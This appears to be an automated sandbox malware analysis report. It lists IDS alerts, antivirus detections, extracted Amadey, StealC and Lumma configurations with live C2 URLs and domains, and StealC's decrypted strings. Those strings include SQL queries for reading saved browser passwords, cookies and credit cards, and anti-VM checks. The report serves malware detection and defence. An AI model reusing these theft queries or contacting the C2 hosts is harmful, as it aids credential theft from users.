2024-11-01T12:14:47.512987+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49984	188.114.97.3	443	TCP
2024-11-01T12:14:49.050044+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49987	188.114.97.3	443	TCP
2024-11-01T12:14:50.993765+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49989	188.114.97.3	443	TCP
2024-11-01T12:14:54.674058+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49992	188.114.97.3	443	TCP
2024-11-01T12:14:58.571371+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	50000	188.114.97.3	443	TCP
2024-11-01T12:15:02.226192+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	50004	188.114.97.3	443	TCP
2024-11-01T12:15:05.186913+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	50012	188.114.97.3	443	TCP
2024-11-01T12:15:06.564040+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	50019	188.114.97.3	443	TCP
2024-11-01T12:15:09.587675+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	50026	188.114.97.3	443	TCP
2024-11-01T12:15:11.286110+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	50028	188.114.97.3	443	TCP
2024-11-01T12:15:40.898958+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	50030	188.114.97.3	443	TCP
2024-11-01T12:15:47.289416+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	50031	188.114.97.3	443	TCP
2024-11-01T12:15:48.538743+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	50032	188.114.97.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T12:13:27.579219+0100	2019714	2	Potentially Bad Traffic	192.168.2.7	49772	185.215.113.16	80	TCP
2024-11-01T12:14:54.833327+0100	2019714	2	Potentially Bad Traffic	192.168.2.7	49991	185.215.113.16	80	TCP
2024-11-01T12:15:03.678729+0100	2019714	2	Potentially Bad Traffic	192.168.2.7	50007	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T12:14:43.104384+0100	2044696	1	A Network Trojan was detected	192.168.2.7	49980	185.215.113.43	80	TCP
2024-11-01T12:14:48.473360+0100	2044696	1	A Network Trojan was detected	192.168.2.7	49985	185.215.113.43	80	TCP
2024-11-01T12:14:53.886010+0100	2044696	1	A Network Trojan was detected	192.168.2.7	49990	185.215.113.43	80	TCP
2024-11-01T12:14:59.480122+0100	2044696	1	A Network Trojan was detected	192.168.2.7	50001	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T12:13:09.612751+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.7	57301	1.1.1.1	53	UDP
2024-11-01T12:14:43.294512+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.7	58707	1.1.1.1	53	UDP
2024-11-01T12:15:04.538688+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.7	55530	1.1.1.1	53	UDP
2024-11-01T12:15:39.118975+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.7	54607	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T12:13:09.623606+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.7	65325	1.1.1.1	53	UDP
2024-11-01T12:14:43.304532+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.7	62081	1.1.1.1	53	UDP
2024-11-01T12:15:04.550871+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.7	61366	1.1.1.1	53	UDP
2024-11-01T12:15:39.402907+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.7	50222	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T12:13:09.645585+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.7	59750	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T12:13:09.597549+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.7	58483	1.1.1.1	53	UDP
2024-11-01T12:14:43.283259+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.7	49778	1.1.1.1	53	UDP
2024-11-01T12:15:03.972620+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.7	54026	1.1.1.1	53	UDP
2024-11-01T12:15:38.634892+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.7	61343	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T12:13:09.635100+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.7	50915	1.1.1.1	53	UDP
2024-11-01T12:14:43.314476+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.7	61661	1.1.1.1	53	UDP
2024-11-01T12:15:04.563463+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.7	55035	1.1.1.1	53	UDP
2024-11-01T12:15:39.913604+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.7	60193	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T12:13:14.549217+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	49702	188.114.97.3	443	TCP
2024-11-01T12:14:48.149567+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	49984	188.114.97.3	443	TCP
2024-11-01T12:15:49.107153+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	50032	188.114.97.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T12:14:49.627492+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	49986	185.215.113.206	80	TCP
2024-11-01T12:14:58.902316+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	49999	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T12:14:34.703742+0100	2856147	1	A Network Trojan was detected	192.168.2.7	49977	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T12:14:42.004223+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.7	49978	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T12:14:38.057115+0100	2803305	3	Unknown Traffic	192.168.2.7	49979	185.215.113.16	80	TCP
2024-11-01T12:14:44.008138+0100	2803305	3	Unknown Traffic	192.168.2.7	49981	185.215.113.16	80	TCP
2024-11-01T12:14:49.393211+0100	2803305	3	Unknown Traffic	192.168.2.7	49988	185.215.113.16	80	TCP
2024-11-01T12:14:54.833327+0100	2803305	3	Unknown Traffic	192.168.2.7	49991	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T12:13:22.363211+0100	2843864	1	A Network Trojan was detected	192.168.2.7	49741	188.114.97.3	443	TCP
2024-11-01T12:14:58.588671+0100	2843864	1	A Network Trojan was detected	192.168.2.7	50000	188.114.97.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 0000000C.00000002.1674157264.0000000000F51000.00000040.00000001.01000000.0000000C.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 37.2.num.exe.8d0000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 6c1c4a36e1.exe.5640.18.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["fadehairucw.store", "necklacedmny.store", "founpiuer.store", "crisiwarny.store", "presticitpo.store", "navygenerayk.store", "scriptyprefej.store", "thumbystriw.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\num[1].exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1003158001\9af14a3c40.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1003159001\num.exe	ReversingLabs: Detection: 95%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 47%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\num[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1003159001\num.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1003158001\9af14a3c40.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: 30
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: 11
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: 20
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: 24
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: GetProcAddress
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: LoadLibraryA
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: lstrcatA
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: OpenEventA
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: CreateEventA
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: CloseHandle
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: Sleep
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: VirtualFree
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: GetSystemInfo
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: VirtualAlloc
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: HeapAlloc
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: GetComputerNameA
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: lstrcpyA
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: GetProcessHeap
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: GetCurrentProcess
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: lstrlenA
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: ExitProcess
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: GetSystemTime
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: advapi32.dll
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: gdi32.dll
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: user32.dll
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: crypt32.dll
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: ntdll.dll
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: GetUserNameA
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: CreateDCA
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: GetDeviceCaps
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: ReleaseDC
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: sscanf
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: VMwareVMware
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: HAL9TH
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: JohnDoe
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: DISPLAY
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: http://185.215.113.206
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: bksvnsj
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: /6c4adf523b719729.php
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: /746f34465cf17784/
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: tale
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: GetFileAttributesA
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: GlobalLock
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: HeapFree
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: GetFileSize
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: GlobalSize
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: IsWow64Process
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: Process32Next
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: GetLocalTime
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: FreeLibrary
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: GetVolumeInformationA
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: Process32First
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: GetLocaleInfoA
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: GetModuleFileNameA
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: DeleteFileA
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: FindNextFileA
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: LocalFree
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: FindClose
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: LocalAlloc
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: GetFileSizeEx
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: ReadFile
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: SetFilePointer
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: WriteFile
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: CreateFileA
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: FindFirstFileA
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: CopyFileA
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: VirtualProtect
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: GetLastError
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: lstrcpynA
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: MultiByteToWideChar
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: GlobalFree
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: WideCharToMultiByte
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: GlobalAlloc
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: OpenProcess
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: TerminateProcess
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: GetCurrentProcessId
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: gdiplus.dll
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: ole32.dll
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: bcrypt.dll
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: wininet.dll
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: shlwapi.dll
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: shell32.dll
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: psapi.dll
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: rstrtmgr.dll
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: SelectObject
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: BitBlt
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: DeleteObject
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: CreateCompatibleDC
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: GdiplusStartup
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: GdiplusShutdown
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: GdipDisposeImage
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: GdipFree
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: CoUninitialize
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: CoInitialize
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: CoCreateInstance
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: BCryptDecrypt
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: BCryptSetProperty
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: BCryptDestroyKey
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: GetWindowRect
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: GetDesktopWindow
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: GetDC
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: CloseWindow
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: wsprintfA
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: CharToOemW
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: wsprintfW
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: RegQueryValueExA
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: RegEnumKeyExA
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: RegOpenKeyExA
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: RegCloseKey
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: RegEnumValueA
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: CryptUnprotectData
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: SHGetFolderPathA
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: ShellExecuteExA
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: InternetOpenUrlA
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: InternetConnectA
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: InternetCloseHandle
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: InternetOpenA
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: HttpSendRequestA
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: HttpOpenRequestA
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: InternetReadFile
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: InternetCrackUrlA
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: StrCmpCA
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: StrStrA
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: StrCmpCW
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: PathMatchSpecA
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: RmStartSession
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: RmRegisterResources
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: RmGetList
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: RmEndSession
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: sqlite3_open
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: sqlite3_step
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: sqlite3_column_text
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: sqlite3_finalize
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: sqlite3_close
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: sqlite3_column_blob
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: encrypted_key
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: PATH
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: NSS_Init
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: NSS_Shutdown
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: PK11_FreeSlot
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: PK11_Authenticate
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: C:\ProgramData\
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: browser:
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: profile:
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: url:
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: login:
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: password:
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: Opera
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: OperaGX
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: Network
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: cookies
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: .txt
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: TRUE
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: FALSE
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: autofill
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: SELECT name, value FROM autofill
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: history
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: cc
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: name:
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: month:
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: year:
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: card:
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: Cookies
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: Login Data
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: Web Data
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: History
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: logins.json
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: formSubmitURL
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: usernameField
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: encryptedUsername
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: encryptedPassword
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: guid
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: cookies.sqlite
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: formhistory.sqlite
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: places.sqlite
Source: 37.2.num.exe.8d0000.0.unpack	String decryptor: plugins
